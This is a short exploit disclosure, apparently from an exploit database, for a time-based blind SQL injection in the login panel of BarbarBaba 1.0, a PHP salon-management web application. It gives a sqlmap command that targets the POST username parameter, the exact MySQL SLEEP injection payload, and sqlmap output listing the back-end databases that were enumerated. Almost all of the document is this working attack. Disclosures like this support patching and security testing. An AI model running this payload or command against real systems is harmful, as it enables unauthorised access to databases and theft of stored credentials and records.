*********************************************************
#Exploit Title: BarbarBaba 1.0 time-based blind sql injection
#Date: 03.09.2025
#Exploit Author: Furkan Sezgin
#Category: webapps
Tested on: windows, kali linux, firefox
# Software Link: https://www.sourcecodester.com/php/18171/best-salon-management-system-project-php.html
PoC:
sqlmap -u "http://localhost/barbarbaba/barbarbaba/panel/" --data="username=%27&password=%27&g-recaptcha-response=&login=Sign+In" --dbs
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=' AND (SELECT 3362 FROM (SELECT(SLEEP(5)))ZtPO)-- zSBs&password='&g-recaptcha-response=&login=Sign In
---
[16:21:24] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.58, PHP 8.2.12
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:21:24] [INFO] resumed: information_schema
[16:21:24] [INFO] resumed: barber_baba
*********************************************************